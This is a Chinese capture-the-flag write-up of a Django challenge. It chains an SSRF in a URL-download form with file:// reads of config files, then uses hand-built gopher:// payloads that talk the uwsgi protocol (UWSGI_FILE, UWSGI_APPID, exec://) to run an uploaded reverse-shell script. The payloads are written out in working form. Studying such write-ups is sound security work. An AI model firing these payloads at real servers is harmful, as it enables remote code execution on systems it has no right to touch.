内容简介:赛时的时候没看这个题目,最后时间队友发现了点,但是苦于本地搭建不好环境以及没有时间就放弃了。读取最后读取
赛时的时候没看这个题目,最后时间队友发现了点,但是苦于本地搭建不好环境以及没有时间就放弃了。
言归正传。
打开题目我们发现提供了一个Download功能,随便测试下,例如: http://www.venenof.com/1.gif
同时这里没有限制任何后缀,那么这意味着我们可以远程下载任意文件。
通过file协议我们可以读取任意文件,利用 file:///proc/mounts
可以找到web目录:
进而我们可以读取web目录的相关文件:
其中 rwctf/settings.py
的内容如下:
""" Django settings for rwctf project. Generated by 'django-admin startproject' using Django 2.1.3. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os import dj_database_url # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ.get('SECRET_KEY', 'y5fc9nypwm%x1w^plkld4y#jwgrd)$ys6&!cog^!3=xr5m4#&-') # SECURITY WARNING: don't run with debug turned on in production! DEBUG = os.environ.get('DEBUG', '0') in ('True', 'true', '1', 'TRUE') ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'xremote', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'rwctf.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.template.context_processors.media', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'rwctf.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': dj_database_url.config(conn_max_age=600, default='sqlite:////tmp/db.sqlite3') } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'static') MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media') LOG_PATH = os.environ.get('LOG_PATH', os.path.join(BASE_DIR, 'error.log')) LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'standard': { 'format': '[%(asctime)s] - [%(levelname)s] - [%(pathname)s:%(lineno)d] - %(message)s', 'datefmt': '%Y-%m-%d %H:%M:%S' }, }, 'handlers': { 'console': { 'level': 'WARNING', 'class': 'logging.StreamHandler', 'formatter': 'standard', 'filters': ['discard_not_found_error'], } }, 'loggers': { '': { 'handlers': ['console'], 'level': 'WARNING' }, 'django': { 'handlers': ['console'], 'level': 'WARNING' }, }, 'filters': { 'discard_not_found_error': { '()': 'django.utils.log.CallbackFilter', 'callback': lambda record: hasattr(record, 'status_code') and record.status_code != 404, } }, }
读取 urls.py
from django.contrib import admin from django.urls import path, include urlpatterns = [ path('', include('xremote.urls', namespace='xremote')), path('admin/', admin.site.urls), ]
最后读取 xremote.views.py
:
import os import pycurl import uuid from django.utils import dateformat, timezone from django.shortcuts import render from django.views import generic from django.db import transaction from django.urls import reverse_lazy from django.conf import settings from django.http import HttpResponseRedirect from . import forms from . import models class ImgsMixin(object): def get_context_data(self, **kwargs): kwargs['imgs'] = self.request.session.get('imgs', []) return super().get_context_data(**kwargs) class DownloadRemote(ImgsMixin, generic.FormView): form_class = forms.ImageForm template_name = 'index.html' success_url = reverse_lazy('xremote:download') def download(self, url): try: c = pycurl.Curl() c.setopt(pycurl.URL, url) c.setopt(pycurl.TIMEOUT, 10) response = c.perform_rb() c.close() except pycurl.error: response = b'' return response def generate_path(self): path = os.path.join(settings.MEDIA_ROOT, dateformat.format(timezone.now(), 'Y/m/d')) if not os.path.exists(path): os.makedirs(path, 0o755) return os.path.join(path, str(uuid.uuid4())) @transaction.atomic def form_valid(self, form): url = form.cleaned_data['url'] response = self.download(url) path = self.generate_path() if response: with open(path, 'wb') as f: f.write(response) url = path[len(settings.MEDIA_ROOT)+1:] models.Image.objects.create(path=url) if 'imgs' not in self.request.session: self.request.session['imgs'] = [] self.request.session['imgs'].append(url) self.request.session.modified = True return HttpResponseRedirect(self.get_success_url())
在这里,我们发现在 settings.py
中,引用了 uwsgi
,同时通过 server.sh
得到 uwsgi
的部署方式:
#!/bin/sh BASE_DIR=$(pwd) ./manage.py collectstatic --no-input ./manage.py migrate --no-input exec uwsgi --socket 0.0.0.0:8000 --module rwctf.wsgi --chdir ${BASE_DIR} --uid nobody --gid nogroup --cheaper-algo spare --cheaper 2 --cheaper-initial 4 --workers 10 --cheaper-step 1
在 uwsgi
中,存在 UWSGI_FILE
这种魔术变量会将指定的文件作为一个新的动态应用加载,那么如果这个文件使我们可以控制的,那么就会造成RCE漏洞。
回到开头,我们已经知道网站可以任意download文件,那么我们在本地测试下,搭建 参考文章 ,而魔术方法可以自动加载执行文件,于是成功执行如下:
本地抓一下包:
tcpdump -i lo -port 8001 -w dump.pcap 或者直接nc也可以。
前面我们知道有一个download功能,实际上也是一个ssrf漏洞,于是我们可以利用gopher去内网请求 uwsgi
,进而动态执行我们自己的脚本,本地测试如下:
于是我们回到题目里,先远程下载一个反弹 shell 的pythonshell,然后得到文件名,例如 /usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d81d1ceef
,然后将gopher的数据改为:
gopher://127.0.0.1:8000/_%00u%01%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00REQUEST_URI%01%00%2F%09%00PATH_INFO%01%00%2F%0D%00DOCUMENT_ROOT%15%00%2Fusr%2Fshare%2Fnginx%2Fhtml%0F%00SERVER_PROTOCOL%08%00HTTP%2F1.1%0C%00UWSGI_SCHEME%04%00http%0B%00REMOTE_ADDR%09%00127.0.0.1%0B%00REMOTE_PORT%05%0035776%0B%00SERVER_PORT%04%008000%0B%00SERVER_NAME%0B%00example.com%0A%00UWSGI_FILE%09%00%2Fusr%2Fsrc%2Frwctf%2Fmedia%2F2018%2F12%2F03%2F0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl%2F7.55.1%0B%00HTTP_ACCEPT%03%00%2A%2F%2A
但是我们要注意
from django import forms from . import models class ImageForm(forms.Form): url = forms.CharField(max_length=512,widget=forms.URLInput())
长度只有512字节,上面的肯定超了,意味着我们要自己更改,在反复尝试后,我发现,其第二位字符的ASCII值实际上就是整个数据包的长度,于是本地修改payload如下:
<?php echo urlencode(chr(strlen(urldecode('%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00UWSGI_FILED%00/usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl/7.55.1%0B%00HTTP_ACCEPT%03%00%2A/%2A')))); ?>
gopher://127.0.0.1:8000/_%00%E4%00%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0A%00UWSGI_FILED%00/usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl/7.55.1%0B%00HTTP_ACCEPT%03%00%2A/%2A
但是在本地是可以得到执行的,反而题目却不可以,猜测可能是题目环境配置的问题,通过翻阅文档,我发现 UWSGI_APPID
这个魔术方法,其作用是绕过 SCRIPT_NAME
和 VirtualHosting
,从而让用户在没有限制的情况下选择挂载点。如果在应用的内部列表中找不到它,那么要加载它。于是可以像下面这样修改:
server { server_name server001; location / { include uwsgi_params; uwsgi_param UWSGI_APPID myfunnyapp; uwsgi_param UWSGI_FILE /var/www/app1.py } }
本地抓包如下:
%00%C6%01%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00REQUEST_URI%01%00%2F%09%00PATH_INFO%01%00%2F%0D%00DOCUMENT_ROOT%15%00%2Fusr%2Fshare%2Fnginx%2Fhtml%0F%00SERVER_PROTOCOL%08%00HTTP%2F1.1%0C%00UWSGI_SCHEME%04%00http%0B%00REMOTE_ADDR%09%00127.0.0.1%0B%00REMOTE_PORT%05%0036452%0B%00SERVER_PORT%04%008000%0B%00SERVER_NAME%0B%00example.com%0B%00UWSGI_APPID%07%00testxdd%0A%00UWSGI_FILED%00%2Fusr%2Fsrc%2Frwctf%2Fmedia%2F2018%2F12%2F03%2F0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl%2F7.55.1%0B%00HTTP_ACCEPT%03%00%2A%2F%2A
修改payload如下:
gopher://127.0.0.1:8000/_%00%FA%00%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00UWSGI_APPID%07%00testxdd%0A%00UWSGI_FILED%00/usr/src/rwctf/media/2018/12/04/7683a121-2d76-4a03-b35c-532bbe7f1483%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl/7.55.1%0B%00HTTP_ACCEPT%03%00%2A/%2A
然后反弹shell即可:-D
赛后发现其实早在一月份就有人有了 利用方式 ,而因为uWSGI程序中默认的schemes有 exec
,所以其实可以直接RCE,而同时作者也给了脚本,甚至于不用本地搭建环境可以直接抓取原始数据包,例如:
%00%DF%00%00%0E%00REQUEST_METHOD%03%00GET%09%00HTTP_HOST%09%00127.0.0.1%09%00PATH_INFO%08%00%2Ftestapp%0B%00SERVER_NAME%09%00127.0.0.1%0F%00SERVER_PROTOCOL%08%00HTTP%2F1.1%0C%00QUERY_STRING%00%00%0B%00SCRIPT_NAME%08%00%2Ftestapp%0A%00UWSGI_FILE%20%00exec%3A%2F%2Ftouch%20%2Ftmp%2Fccc%3B%20echo%20test%0B%00REQUEST_URI%08%00%2Ftestapp
感谢ph师傅给的docker,复现过程遇到了好几个问题,确实很real world
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